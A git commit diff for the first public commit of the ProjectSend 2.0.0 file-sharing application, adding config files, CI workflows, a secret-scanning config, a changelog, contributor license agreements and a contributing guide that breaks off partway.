commit 6e47d76ba6a8c5279ac7be73260c10f47a510c37 Author: ignacionelson Date: Fri Aug 14 01:38:12 2026 -0300 ProjectSend 2.0.0 Client file sharing, rebuilt from the ground up: a private area per client, resumable uploads, folders, groups and categories, sharing with expiry dates and download limits, comments, file versions, an activity log, a REST API, and sixteen languages. This repository begins here. ProjectSend 2 was developed privately, and that development history is not published — the previous generation remains available, with its own history, at projectsend/legacy. Free software under the GNU General Public License v2, or (at your option) any later version. diff --git a/.editorconfig b/.editorconfig new file mode 100644 index 00000000..8f0de65c --- /dev/null +++ b/.editorconfig @@ -0,0 +1,18 @@ +root = true + +[*] +charset = utf-8 +end_of_line = lf +indent_size = 4 +indent_style = space +insert_final_newline = true +trim_trailing_whitespace = true + +[*.md] +trim_trailing_whitespace = false + +[*.{yml,yaml}] +indent_size = 2 + +[docker-compose.yml] +indent_size = 4 diff --git a/.env.example b/.env.example new file mode 100644 index 00000000..c75117a6 --- /dev/null +++ b/.env.example @@ -0,0 +1,91 @@ +APP_NAME=ProjectSend +PROJECTSEND_EDITION=community + +# Emergency off switch for the CAPTCHA on public forms, for an operator who +# has a shell but no working login. Everything else about the feature is +# configured at /system/settings/captcha. +# PROJECTSEND_CAPTCHA_DISABLED=true + +# Optional: uid/gid the app/web containers' internal user runs as, so the +# bind-mounted repo needs no permission fixes. Defaults to 1000; override +# if your host user's `id -u`/`id -g` differ. +# WWWUSER=1000 +# WWWGROUP=1000 + +# Optional: create the first administrator unattended on container start. +# Leave unset to use the first-run setup screen instead. +# ADMIN_NAME="Administrator" +# ADMIN_EMAIL=admin@example.com +# ADMIN_PASSWORD= +APP_ENV=local +APP_KEY= +APP_DEBUG=true +APP_TIMEZONE=UTC +APP_URL=http://localhost + +# Required whenever a proxy/load balancer sits in front of this app (an +# ALB, Cloudflare, a hosted ingress) — otherwise every request looks like +# it comes from the proxy, collapsing per-IP rate limits and the download +# IP log. Comma-separated addresses/CIDRs, or "*" to trust any proxy +# (only safe when nothing but the proxy can reach the app). +# TRUSTED_PROXIES= + +APP_LOCALE=en +APP_FALLBACK_LOCALE=en +APP_FAKER_LOCALE=en_US + +APP_MAINTENANCE_DRIVER=file +# APP_MAINTENANCE_STORE=database + +PHP_CLI_SERVER_WORKERS=4 + +BCRYPT_ROUNDS=12 + +LOG_CHANNEL=stack +LOG_STACK=single +LOG_DEPRECATIONS_CHANNEL=null +LOG_LEVEL=debug + +DB_CONNECTION=mysql +DB_HOST=db +DB_PORT=3306 +DB_DATABASE=projectsend +DB_USERNAME=projectsend +DB_PASSWORD=secret + +SESSION_DRIVER=redis +SESSION_LIFETIME=120 +SESSION_ENCRYPT=false +SESSION_PATH=/ +SESSION_DOMAIN=null + +BROADCAST_CONNECTION=log +FILESYSTEM_DISK=local +QUEUE_CONNECTION=redis + +CACHE_STORE=redis +CACHE_PREFIX= + +MEMCACHED_HOST=127.0.0.1 + +REDIS_CLIENT=phpredis +REDIS_HOST=redis +REDIS_PASSWORD=null +REDIS_PORT=6379 + +MAIL_MAILER=smtp +MAIL_HOST=mailpit +MAIL_PORT=1025 +MAIL_USERNAME=null +MAIL_PASSWORD=null +MAIL_ENCRYPTION=null +MAIL_FROM_ADDRESS="hello@example.com" +MAIL_FROM_NAME="${APP_NAME}" + +AWS_ACCESS_KEY_ID= +AWS_SECRET_ACCESS_KEY= +AWS_DEFAULT_REGION=us-east-1 +AWS_BUCKET= +AWS_USE_PATH_STYLE_ENDPOINT=false + +VITE_APP_NAME="${APP_NAME}" diff --git a/.gitattributes b/.gitattributes new file mode 100644 index 00000000..f50f803b --- /dev/null +++ b/.gitattributes @@ -0,0 +1,10 @@ +* text=auto eol=lf + +*.blade.php diff=html +*.css diff=css +*.html diff=html +*.md diff=markdown +*.php diff=php + +CHANGELOG.md export-ignore +README.md export-ignore diff --git a/.github/screenshots/dashboard.png b/.github/screenshots/dashboard.png new file mode 100644 index 00000000..babaa910 Binary files /dev/null and b/.github/screenshots/dashboard.png differ diff --git a/.github/screenshots/files.png b/.github/screenshots/files.png new file mode 100644 index 00000000..3a9d4778 Binary files /dev/null and b/.github/screenshots/files.png differ diff --git a/.github/screenshots/portal.png b/.github/screenshots/portal.png new file mode 100644 index 00000000..429d14bb Binary files /dev/null and b/.github/screenshots/portal.png differ diff --git a/.github/workflows/cla.yml b/.github/workflows/cla.yml new file mode 100644 index 00000000..fc65c8b0 --- /dev/null +++ b/.github/workflows/cla.yml @@ -0,0 +1,61 @@ +# Gates pull requests on CLA signature using contributor-assistant/github-action. +# Signatures are stored as a JSON file in a separate private repo — do NOT store +# them in this public repo, they contain contributor emails. +# +# Setup before enabling: +# 1. Create a private repo, e.g. projectsend/cla-signatures +# 2. Create a PAT with 'repo' scope that can write to it +# 3. Add it as a secret named PERSONAL_ACCESS_TOKEN in this repository +# +# The two github.com/projectsend/projectsend URLs below are shown to +# contributors when the bot asks them to sign. They must point at a repo an +# outside contributor can actually read. + +name: CLA Assistant + +on: + issue_comment: + types: [created] + pull_request_target: + types: [opened, closed, synchronize] + +permissions: + actions: write + contents: read + pull-requests: write + statuses: write + +jobs: + cla: + runs-on: ubuntu-latest + steps: + - name: CLA check + if: (github.event.comment.body == 'recheck' || github.event.comment.body == 'I have read the CLA Document and I hereby sign the CLA') || github.event_name == 'pull_request_target' + uses: contributor-assistant/github-action@v2.6.1 + env: + GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} + PERSONAL_ACCESS_TOKEN: ${{ secrets.PERSONAL_ACCESS_TOKEN }} + with: + path-to-signatures: 'signatures/version1/cla.json' + path-to-document: 'https://github.com/projectsend/projectsend/blob/main/CLA-INDIVIDUAL.md' + branch: 'main' + remote-organization-name: 'projectsend' + remote-repository-name: 'cla-signatures' + + allowlist: dependabot[bot],renovate[bot],*[bot] + + custom-notsigned-prcomment: | + Thanks for the pull request! + + Before we can merge it, we need you to sign the Contributor License Agreement. + It's a one-time thing and takes about a minute — you keep the copyright in your + contribution, and it lets the project offer commercial licenses that fund + development of the free version. The reasoning is written out in + [CONTRIBUTING.md](https://github.com/projectsend/projectsend/blob/main/CONTRIBUTING.md#licensing-and-the-contributor-license-agreement). + + Please read the **[CLA]($pathToCLADocument)**, then post exactly this as a comment + on this pull request: + + custom-pr-sign-comment: 'I have read the CLA Document and I hereby sign the CLA' + custom-allsigned-prcomment: 'CLA signed — thanks. A maintainer will review this shortly.' + lock-pullrequest-aftermerge: false diff --git a/.github/workflows/lint.yml b/.github/workflows/lint.yml new file mode 100644 index 00000000..348bb9a8 --- /dev/null +++ b/.github/workflows/lint.yml @@ -0,0 +1,50 @@ +name: linter + +on: + push: + branches: + - develop + - main + pull_request: + branches: + - develop + - main + +permissions: + contents: write + +jobs: + quality: + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@v4 + + - name: Setup PHP + uses: shivammathur/setup-php@v2 + with: + php-version: '8.4' + + # community-modules resolves from its public GitHub repository (the vcs + # entry in composer.json); cloud-modules is not required. COMPOSER_AUTH + # just lifts the anonymous GitHub API rate limit for the fetch. + - name: Install Dependencies + env: + COMPOSER_AUTH: '{"github-oauth":{"github.com":"${{ secrets.GITHUB_TOKEN }}"}}' + run: | + composer install -q --no-ansi --no-interaction --no-scripts --no-progress --prefer-dist + npm install + + - name: Run Pint + run: vendor/bin/pint + + - name: Format Frontend + run: npm run format + + - name: Lint Frontend + run: npm run lint + + # - name: Commit Changes + # uses: stefanzweifel/git-auto-commit-action@v5 + # with: + # commit_message: fix code style + # commit_options: '--no-verify' diff --git a/.github/workflows/tests.yml b/.github/workflows/tests.yml new file mode 100644 index 00000000..d49609dc --- /dev/null +++ b/.github/workflows/tests.yml @@ -0,0 +1,91 @@ +name: tests + +on: + push: + branches: + - develop + - main + pull_request: + branches: + - develop + - main + +jobs: + ci: + runs-on: ubuntu-latest + + # This job has no MySQL/db service — it's SQLite-only (see + # phpunit.xml) — but .env.example's DB_CONNECTION=mysql/DB_HOST=db is + # for the local docker-compose stack. Bare artisan calls that run + # outside phpunit.xml's env (composer's package:discover, + # key:generate) would otherwise try to reach a "db" host that + # doesn't exist here. Same story for CACHE_STORE: every process + # boot reads a mail-config cache entry (PlatformServiceProvider:: + # boot() -> MailConfigApplier::apply()), which needs a store that + # works without a migrated schema this early. + env: + CACHE_STORE: array + DB_CONNECTION: sqlite + # config/database.php's sqlite connection reuses DB_DATABASE for + # the file path — .env.example's DB_DATABASE=projectsend (the + # MySQL database name) would otherwise make sqlite look for a + # file literally named "projectsend". + DB_DATABASE: database/database.sqlite + + steps: + - name: Checkout + uses: actions/checkout@v4 + + - name: Setup PHP + uses: shivammathur/setup-php@v2 + with: + php-version: 8.4 + tools: composer:v2 + coverage: xdebug + + - name: Setup Node + uses: actions/setup-node@v4 + with: + node-version: '22' + cache: 'npm' + + # community-modules is the community edition's companion package, + # resolved from its public GitHub repository (the vcs entry in + # composer.json). A plain clone installs it with no local packages/ + # checkout — cloud-modules is not required at all. COMPOSER_AUTH just + # hands composer the runner's token so the GitHub API calls it makes + # to fetch the package are not subject to the anonymous rate limit. + + # composer install's post-autoload-dump script boots the app + # (package:discover), which needs the sqlite file to already exist + # even before .env is copied — config/database.php defaults to it. + - name: Create SQLite Database + run: touch database/database.sqlite + + - name: Install PHP Dependencies + env: + COMPOSER_AUTH: '{"github-oauth":{"github.com":"${{ secrets.GITHUB_TOKEN }}"}}' + run: composer install --no-interaction --prefer-dist --optimize-autoloader + + - name: Install Node Dependencies + run: npm ci + + # tsconfig.json maps the "ziggy-js" import to vendor/tightenco/ziggy, + # so this needs PHP deps installed first. + - name: Typecheck Frontend + run: npm run types + + - name: Build Assets + run: npm run build + + - name: Copy Environment File + run: cp .env.example .env + + - name: Generate Application Key + run: php artisan key:generate + + - name: Static Analysis + run: ./vendor/bin/phpstan analyse --no-progress + + - name: Tests + run: ./vendor/bin/pest diff --git a/.gitignore b/.gitignore new file mode 100644 index 00000000..e57f5bf7 --- /dev/null +++ b/.gitignore @@ -0,0 +1,41 @@ +.DS_Store +.env +.env.backup +.env.production +.phpactor.json +.phpunit.result.cache +/.fleet +/.idea +/.nova +/.phpunit.cache +/.vscode +/.zed +/bootstrap/ssr +/node_modules +/packages +/public/build +/public/hot +/public/storage +/storage/*.key +/storage/pail +/vendor +auth.json +Homestead.json +Homestead.yaml +npm-debug.log +yarn-error.log +/.release-build +/compose.override.yaml +/compose.override.yml + +# ── Maintainer-only working files ── +# Planning notes, local tooling and development fixtures are kept outside +# this repository, so these paths are ignored here rather than published. +# If docs/ looks sparser than you expect, that is why. The two entries +# below the ignore are application data the app reads at runtime and are +# part of the repository. +/.claude +/scripts/refresh-sim.sh +/database/seeders/DevDataSeeder.php +/docs/*.md +!/docs/api-guide.md diff --git a/.gitleaks.toml b/.gitleaks.toml new file mode 100644 index 00000000..7a65ea85 --- /dev/null +++ b/.gitleaks.toml @@ -0,0 +1,43 @@ +# Secret scanning config. +# +# docker run --rm -v "$PWD:/repo" -w /repo zricethezav/gitleaks:latest \ +# detect --source /repo --log-opts="--all" --redact --no-banner +# +# `--log-opts="--all"` is the part that matters: it scans every commit on +# every ref, not just the working tree. Publishing a repository makes its +# entire history world-readable, so a credential that was committed once and +# removed the next day is still exposed — and still needs rotating, not just +# deleting. +# +# Run this before publishing anything, and treat any new finding as real +# until proven otherwise. + +[extend] +useDefault = true + +[[rules]] +id = "curl-auth-header" + + [rules.allowlist] + description = """ + The API guide documents authentication, so every example carries an + Authorization header. All of them are placeholders — YOUR_TOKEN, or the + psend_xxxx shape used to show what a real token looks like. Scanned and + confirmed clean 2026-08-09 across 347 commits. + + This allowlist is deliberately narrow: it excuses the two placeholder + spellings in one file, not the rule, so a real token pasted into that same + guide would still be caught. + + matchCondition = "AND" is what makes that true and must not be removed. + Gitleaks ORs allowlist conditions by default, so without it the `paths` + entry alone excuses every Authorization header in the file — including a + real one. Verified both ways: the placeholders pass, and an injected + token-shaped string is still reported. + """ + matchCondition = "AND" + paths = ['''docs/api-guide\.md'''] + regexes = [ + '''Bearer YOUR_TOKEN''', + '''Bearer \d+\|psend_x+''', + ] diff --git a/.prettierignore b/.prettierignore new file mode 100644 index 00000000..be2be313 --- /dev/null +++ b/.prettierignore @@ -0,0 +1 @@ +resources/js/components/ui/* diff --git a/.prettierrc b/.prettierrc new file mode 100644 index 00000000..f2264ac4 --- /dev/null +++ b/.prettierrc @@ -0,0 +1,18 @@ +{ + "semi": true, + "singleQuote": true, + "singleAttributePerLine": false, + "htmlWhitespaceSensitivity": "css", + "printWidth": 150, + "plugins": ["prettier-plugin-organize-imports", "prettier-plugin-tailwindcss"], + "tailwindFunctions": ["clsx", "cn"], + "tabWidth": 4, + "overrides": [ + { + "files": "**/*.yml", + "options": { + "tabWidth": 2 + } + } + ] +} diff --git a/CHANGELOG.md b/CHANGELOG.md new file mode 100644 index 00000000..cb6a9a46 --- /dev/null +++ b/CHANGELOG.md @@ -0,0 +1,84 @@ +# Changelog + +What changed in each release of ProjectSend, written for the people running it. + +Versions follow [SemVer](https://semver.org/): the middle number moves when there are new features, +the last one when there are only fixes, and the first one when an upgrade needs more from you than +dropping in the new files and running the migrations. + +Anything under **Upgrade notes** is something you have to do, not something we did. + +## Unreleased + +This section collects changes as they land; the release process turns it into a numbered entry when +a version is cut. + +## 2.0.0 — 2026-08-14 + +ProjectSend, rebuilt from the ground up. This is a new application rather than an update to the one +before it: it installs fresh, and an optional tool imports your existing site into it. The previous +generation continues to be available as ProjectSend Legacy. + +Everything you already rely on came across — roles and granular permissions, folders, two-factor +authentication, LDAP, single sign-on, per-file download limits, S3-compatible storage, custom +fields, per-client quotas, zip downloads, resumable uploads, thumbnails, editable email templates, +client portal themes and the activity log. What follows is what is genuinely new. **If you are +running the previous version, read the upgrade notes first.** + +### Added + +- **A REST API.** Files, clients, groups and comments — and, on self-hosted installations, staff + accounts — with scoped tokens, documentation the application generates itself, and a usage + dashboard. There was previously no programmable surface at all. +- **Comments on files.** The conversation about a file lives on the file, with a per-comment choice + of who can see it and strict separation between clients. +- **File versions.** Mark an upload as replacing an earlier one and the two stay linked: the older + file is marked *Outdated* everywhere, sharing is inherited, and recipients are notified. +- **A notification centre.** A bell with an unread count on every screen for staff and clients + alike, a full history, and per-person control over what also arrives by email. +- **Folder sharing.** Share a folder with a client or group and everything inside follows, including + files added later. +- **Per-person timezones.** Every date reads in the timezone of whoever is looking at it, detected + once from their browser, instead of one setting for the whole installation. +- **Recoverability, and real erasure.** Deleted files and accounts can be restored. Self-service + account deletion runs a disclosed grace period and then a genuine erasure, activity log included. +- **Scoped staff access.** "Limit to assigned clients" narrows a staff member's entire view, not + just who they may upload to. +- **Sixteen languages, and a menu you curate.** Choose which languages your clients are offered and + which one everybody starts in. +- **Themed email.** Four independent email themes, with a live preview of a real message. +- **Guided setup.** A two-minute first run or fully unattended provisioning, a database that + migrates itself on boot, and upgrade instructions matching how you actually installed. + +### Improved + +- **Uploads survive the connection.** Pause and resume, retrying the missing pieces rather than the + whole file — and clients and API callers get the identical pipeline staff use. +- **Zip downloads no longer tie up the server.** Built in the background, with the folder structure + preserved inside, and still recorded against every file bundled. +- **The interface.** Dark mode, drag-and-drop moves, a details panel with sharing and history in + tabs, and the same search-and-filter toolbar on every list — with filters in the address bar, so a + view can be bookmarked or sent to a colleague. +- **A storage floor, not just ceilings.** A site-wide default quota that individual clients + override, so an installation with self-registration is no longer unbounded. +- **Categories your clients can read.** Flat, cross-cutting and colour-coded, shown everywhere the + file appears — including the client portal and public pages. + +### Upgrade notes + +- **This is not an in-place upgrade.** Install this release fresh, then bring your old site into it + with the migration tool. Nothing is ever written to your old installation, it keeps running + throughout, and any import can be undone with a single command. +- **Your clients will sign in with their email address**, not their username. Their existing + passwords keep working, so nobody has to reset anything. +- **Three things the previous version could do are not here yet:** IP allow and deny lists, email as + a second factor, and encryption at rest. If you depend on any of them, stay where you are for now. +- **Two accounts cannot share an email address.** The previous version allowed it, because it signed + people in by username. The import refuses to start and names the accounts to fix, rather than + silently merging two people into one. +- **Nested categories become flat.** Each keeps its full path as its name — "Clients / Acme / + Invoices" — so nothing is lost and no two categories collapse into one. Rename them afterwards if + you would rather. +- **Files encrypted at rest, or held on external cloud storage, are not imported.** They are listed + for you individually before the run starts, and skipped rather than guessed at. + diff --git a/CLA-ENTITY.md b/CLA-ENTITY.md new file mode 100644 index 00000000..945453cc --- /dev/null +++ b/CLA-ENTITY.md @@ -0,0 +1,144 @@ +# ProjectSend Entity Contributor License Agreement + +**Version 1.0** + +This agreement is for organizations whose employees or contractors contribute to ProjectSend. +If you are contributing as an individual on your own behalf, sign the Individual CLA instead. + +This Agreement is between Ignacio Nelson, the original author and maintainer of ProjectSend +("the Licensor"), and the entity identified below +("You" or "Your"). It clarifies the intellectual property rights granted with Contributions made +by Your employees, contractors, and designated contributors. + +**Your organization keeps the copyright in its Contributions.** This is a license, not a transfer +of ownership. + +--- + +## 1. Definitions + +**"You"** (or **"Your"**) means the corporation or other legal entity signing this Agreement, +together with all other entities that control, are controlled by, or are under common control +with that entity. For this definition, "control" means (i) the power, direct or indirect, to +cause the direction or management of such entity, whether by contract or otherwise, (ii) +ownership of fifty percent (50%) or more of the outstanding shares, or (iii) beneficial ownership +of such entity. + +**"Contribution"** means any original work of authorship, including any modifications or additions +to an existing work, that is or has been intentionally submitted by You to the Licensor for +inclusion in, or documentation of, any of the products owned or managed by the Licensor (the +"Work"). "Submitted" means any form of electronic, verbal, or written communication sent to the +Licensor or its representatives, including but not limited to communication on electronic mailing +lists, source code control systems, and issue tracking systems that are managed by, or on behalf +of, the Licensor for the purpose of discussing and improving the Work — but excluding +communication that is conspicuously marked or otherwise designated in writing by You as +"Not a Contribution." + +**For the avoidance of doubt, this Agreement applies to all Contributions made on Your behalf — +those submitted after signing it and those submitted before**, including any contributions made +to ProjectSend prior to the existence of this Agreement. + +## 2. Grant of Copyright License + +Subject to the terms and conditions of this Agreement, You hereby grant to the Licensor and to +recipients of software distributed by the Licensor a perpetual, worldwide, non-exclusive, +no-charge, royalty-free, irrevocable copyright license to reproduce, prepare derivative works of, +publicly display, publicly perform, sublicense, and distribute Your Contributions and such +derivative works. + +You further grant to the Licensor the right to license Your Contributions, and derivative works +of Your Contributions, under any license terms of the Licensor's choosing. This includes, without +limitation, open source licenses other than the one under which the Work is currently +distributed, and commercial or proprietary licenses. + +You retain all right, title, and interest in and to Your Contributions. + +## 3. Grant of Patent License + +Subject to the terms and conditions of this Agreement, You hereby grant to the Licensor and to +recipients of software distributed by the Licensor a perpetual, worldwide, non-exclusive, +no-charge, royalty-free, irrevocable (except as stated in this section) patent license to make, +have made, use, offer to sell, sell, import, and otherwise transfer the Work. This license +applies only to those patent claims licensable by You that are necessarily infringed by Your +Contributions alone or by combination of Your Contributions with the Work to which such +Contributions were submitted. + +If any entity institutes patent litigation against You or any other entity (including a +cross-claim or counterclaim in a lawsuit) alleging that a Contribution, or the Work to which You +have contributed, constitutes direct or contributory patent infringement, then any patent +licenses granted to that entity under this Agreement for that Contribution or Work shall +terminate as of the date such litigation is filed. + +## 4. Your Representations + +You represent that: + +a. You are legally entitled to grant the above licenses. + +b. Each employee or contractor of Yours designated on Schedule A below is authorized to submit +Contributions on Your behalf. + +c. Each Contribution is an original creation of the designated contributor, or You have obtained +the necessary rights to submit it under the terms of this Agreement. + +d. To the best of Your knowledge, no Contribution violates any third party's copyrights, +trademarks, patents, or other intellectual property rights. + +## 5. Third-Party Materials + +Should You wish to submit work that is not an original creation, You may submit it separately +from any Contribution, identifying the complete details of its source and of any license or other +restriction of which You are aware, and conspicuously marking the work as +"Submitted on behalf of a third party: [named here]". + +## 6. Disclaimer + +Unless required by applicable law or agreed to in writing, You provide Your Contributions on an +"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + +## 7. No Obligation + +The decision to include any Contribution in any product or source repository is entirely at the +discretion of the Licensor. + +## 8. Notification + +You agree to notify the Licensor of any facts or circumstances of which You become aware that +would make the representations in this Agreement inaccurate in any respect, and to keep +Schedule A current. + +## 9. Successors and Assigns + +The Licensor may assign this Agreement, and the rights granted under it, to any successor in +interest to the ProjectSend project. + +## 10. Governing Law + +This Agreement is governed by the laws of the Argentine Republic, without regard to its conflict +of law provisions. Any dispute arising from or relating to this Agreement shall be submitted to +the ordinary courts of the Autonomous City of Buenos Aires, Argentina. + +--- + +## Signature + +| Field | Value | +|---|---| +| Entity name | | +| Registered address | | +| Point of contact | | +| Email | | +| Signed by (name and title) | | +| Signature | | +| Date | | + +## Schedule A — Designated Contributors + +List each employee or contractor authorized to submit Contributions on Your behalf. Send updates +to . + +| Full name | Email | GitHub username | +|---|---|---| +| | | | +| | | | +| | | | diff --git a/CLA-INDIVIDUAL.md b/CLA-INDIVIDUAL.md new file mode 100644 index 00000000..c62c8620 --- /dev/null +++ b/CLA-INDIVIDUAL.md @@ -0,0 +1,133 @@ +# ProjectSend Individual Contributor License Agreement + +**Version 1.0** + +Thank you for contributing to ProjectSend. This agreement clarifies the intellectual property +rights granted with Contributions from any person or entity. It protects You as a Contributor, +protects the Project, and protects everyone who relies on ProjectSend. + +**You keep the copyright in Your Contribution.** This is a license, not a transfer of ownership. +You grant Ignacio Nelson, the original author and maintainer of ProjectSend ("the Licensor"), +broad permission to use and license Your Contribution, +including the right to distribute it under licenses other than the project's current open source +license — which is what makes it possible to offer ProjectSend to organizations that cannot +accept copyleft terms, and to fund continued development of the free version. + +By submitting a Contribution to the Project, You accept and agree to the following terms. + +--- + +## 1. Definitions + +**"You"** (or **"Your"**) means the individual who submits a Contribution to the Licensor. + +**"Contribution"** means any original work of authorship, including any modifications or +additions to an existing work, that is or has been intentionally submitted by You to the Licensor +for inclusion in, or documentation of, any of the products owned or managed by the Licensor +(the "Work"). "Submitted" means any form of electronic, verbal, or written communication sent +to the Licensor or its representatives, including but not limited to communication on electronic +mailing lists, source code control systems, and issue tracking systems that are managed by, or +on behalf of, the Licensor for the purpose of discussing and improving the Work — but excluding +communication that is conspicuously marked or otherwise designated in writing by You as +"Not a Contribution." + +**For the avoidance of doubt, this Agreement applies to all of Your Contributions — those You +submit after signing it and those You submitted before**, including any contributions made to +ProjectSend prior to the existence of this Agreement. + +## 2. Grant of Copyright License + +Subject to the terms and conditions of this Agreement, You hereby grant to the Licensor and to +recipients of software distributed by the Licensor a perpetual, worldwide, non-exclusive, +no-charge, royalty-free, irrevocable copyright license to reproduce, prepare derivative works of, +publicly display, publicly perform, sublicense, and distribute Your Contribution and such +derivative works. + +You further grant to the Licensor the right to license Your Contribution, and derivative works of +Your Contribution, under any license terms of the Licensor's choosing. This includes, without +limitation, open source licenses other than the one under which the Work is currently +distributed, and commercial or proprietary licenses. + +You retain all right, title, and interest in and to Your Contribution. Nothing in this Agreement +restricts Your ability to use, license, or otherwise exploit Your Contribution for any purpose. + +## 3. Grant of Patent License + +Subject to the terms and conditions of this Agreement, You hereby grant to the Licensor and to +recipients of software distributed by the Licensor a perpetual, worldwide, non-exclusive, +no-charge, royalty-free, irrevocable (except as stated in this section) patent license to make, +have made, use, offer to sell, sell, import, and otherwise transfer the Work. This license +applies only to those patent claims licensable by You that are necessarily infringed by Your +Contribution alone or by combination of Your Contribution with the Work to which such +Contribution was submitted. + +If any entity institutes patent litigation against You or any other entity (including a +cross-claim or counterclaim in a lawsuit) alleging that Your Contribution, or the Work to which +You have contributed, constitutes direct or contributory patent infringement, then any patent +licenses granted to that entity under this Agreement for that Contribution or Work shall +terminate as of the date such litigation is filed. + +## 4. Your Representations + +You represent that: + +a. You are legally entitled to grant the above licenses. + +b. Each of Your Contributions is Your original creation, or You have the necessary rights to +submit it under the terms of this Agreement. + +c. If Your employer has rights to intellectual property that You create — including anything You +create as part of Your employment or using Your employer's resources — You have received +permission to make the Contribution on behalf of that employer, that Your employer has waived +such rights, or that Your employer has executed the ProjectSend Entity Contributor License +Agreement. + +d. Your Contribution does not, to the best of Your knowledge, violate any third party's +copyrights, trademarks, patents, or other intellectual property rights. + +## 5. Third-Party Materials + +Should You wish to submit work that is not Your original creation, You may submit it separately +from any Contribution, identifying the complete details of its source and of any license or other +restriction of which You are personally aware, and conspicuously marking the work as +"Submitted on behalf of a third party: [named here]". + +## 6. Disclaimer + +Unless required by applicable law or agreed to in writing, You provide Your Contributions on an +"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied, including, +without limitation, any warranties or conditions of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or +FITNESS FOR A PARTICULAR PURPOSE. + +## 7. No Obligation + +You understand that the decision to include Your Contribution in any product or source repository +is entirely at the discretion of the Licensor, and this Agreement does not obligate the Licensor +to include Your Contribution in any product. + +## 8. Notification + +You agree to notify the Licensor of any facts or circumstances of which You become aware that +would make the representations in this Agreement inaccurate in any respect. + +## 9. Successors and Assigns + +The Licensor may assign this Agreement, and the rights granted under it, to any successor in +interest to the ProjectSend project, including in connection with a reorganization, transfer of +stewardship, or sale of assets. + +## 10. Governing Law + +This Agreement is governed by the laws of the Argentine Republic, without regard to its conflict +of law provisions. Any dispute arising from or relating to this Agreement shall be submitted to +the ordinary courts of the Autonomous City of Buenos Aires, Argentina. + +--- + +## How to sign + +Contributions to ProjectSend are gated by an automated CLA check. When You open Your first pull +request, a bot will comment with a link. Signing takes one click and is recorded against Your +GitHub account. + +Questions before signing: diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md new file mode 100644 index 00000000..754b63da --- /dev/null +++ b/CONTRIBUTING.md @@ -0,0 +1,184 @@ +# Contributing to ProjectSend + +ProjectSend has been maintained since 2011 and is used by freelancers, agencies, NGOs, schools +and government offices around the world. Thanks for helping keep it good. + +## Ways to contribute + +- **Report a bug** — open an [issue](https://github.com/projectsend/projectsend/issues) with how you + run ProjectSend (Docker or manual install), the version, and steps to reproduce. +- **Report a security vulnerability** — do **not** open a public issue. Report it privately via + [GitHub security advisories](https://github.com/projectsend/projectsend/security/advisories/new). +- **Suggest a feature** — start a [discussion](https://github.com/projectsend/projectsend/discussions) + first. It saves everyone time to agree on the shape of a thing before code is written. +- **Translate** — translations live in this repo as JSON files under [lang/](lang/). Fixing or + completing a locale is a pull request like any other. +- **Write code** — read the rest of this document first. + +## Before you write code + +For anything beyond a small fix, open an issue or discussion first. Large pull requests that +arrive without prior discussion are hard to review and often need rework. + +## Setting up for development + +The quickest way to a running copy is Docker — the steps that install ProjectSend are also the +steps that set it up for development. From a fresh clone: + +```sh +cp .env.example .env +docker compose up -d +docker compose exec app composer install +docker compose exec app php artisan key:generate +docker compose exec app php artisan migrate +npm install && npm run build # or `npm run dev` for hot reload +``` + +The app is then at `http://localhost:8090`. Until a staff user exists every request redirects to the +first-run setup screen, which creates the initial administrator. For unattended provisioning you can +instead set `ADMIN_NAME` / `ADMIN_EMAIL` / `ADMIN_PASSWORD` in `.env` before starting (the container +creates the account on boot, idempotently), or run +`docker compose exec app php artisan projectsend:admin` at any time. + +A few things worth knowing: + +- Self-hosted installs run the community edition — `PROJECTSEND_EDITION=community` in `.env`. +- `APP_PORT` / `ADMINER_PORT` / `DB_PORT_FORWARD` override the ports if they clash with something + you already run. +- Adminer, a database GUI, is available for development with + `docker compose --profile dev up -d adminer`. +- On later boots the container migrates automatically. The manual `migrate` above is only needed on + the first install, before `vendor/` exists. + +**Staff and clients are different things.** Staff — "system users" — administer the installation and +upload files. Clients are the people files are shared with. There is no staff registration page: +staff are created by an administrator. Client self-registration is optional and can require +approval. + +You don't need anything private to work on ProjectSend. The `community-modules` companion package +is public and Composer fetches it for you; the paid Cloud package is not required by the core. + +### Before you open a pull request + +Run the same checks CI runs, and make sure they pass: + +```sh +docker compose exec app ./vendor/bin/pest # tests +docker compose exec app ./vendor/bin/phpstan # static analysis (level 8) +docker compose exec app ./vendor/bin/pint # code style +npm run types # TypeScript +npm run lint # ESLint +``` + +If you touched the frontend, `npm run build` must also succeed. + +## Pull requests + +1. Fork the repo and branch off `main`. +2. One logical change per pull request. +3. Run the checks above and keep the existing code style. +4. Write a clear description: what changes, why, and how you tested it. +5. If your change affects the database schema, include the migration. +6. If your change affects user-facing strings, use the existing translation helpers + (`t()` / `__()`) — never hardcode English. + +## Licensing and the Contributor License Agreement + +ProjectSend is free software licensed under the **GNU General Public License v2, or (at your +option) any later version**. See [LICENSE](LICENSE). That isn't changing. + +Before your first pull request can be merged, you'll need to sign a Contributor License Agreement. +A bot will comment on your pull request with a link; signing takes one click and is recorded +against your GitHub account. You only do this once, and it covers everything you've contributed +to ProjectSend — past and future. + +- Contributing on your own behalf → [Individual CLA](CLA-INDIVIDUAL.md) +- Contributing as part of your job, or on behalf of a company → [Entity CLA](CLA-ENTITY.md) + +### Why a CLA? + +CLAs are contentious in open source and the concern behind that is legitimate, so we'd rather +explain this properly than bury it. + +**You keep the copyright in your contribution.** The CLA is a license, not a transfer of +ownership. You can continue to use, relicense, or sell your own code however you want. Nothing +you grant here takes anything away from you. + +**It lets the project fund itself.** The CLA gives the maintainers the right to also distribute +the code under other terms — specifically, a commercial license for organizations whose legal +departments can't accept the GPL, and who want to embed ProjectSend in a product of their own. +That revenue, along with managed hosting at [projectsend.cloud](https://projectsend.cloud), is +what pays for continued development of the free, self-hosted version everyone uses. See +[LICENSING.md](LICENSING.md). + +**It keeps our options open.** Without a CLA, changing ProjectSend's license in the future — +even to a newer version of the GPL — would require tracking down every contributor from the past +fifteen years and getting individual permission. We're not planning a license change. But we'd +rather not be permanently unable to make one. + +### What we commit to in return + +- **ProjectSend's core stays under an OSI-approved open source license.** Not source-available, + not BSL, not SSPL. +- **Nothing that is free today will ever move behind a paid tier.** +- **The self-hosted version will never be crippleware.** No artificial caps on users, clients, + files or storage designed to push you 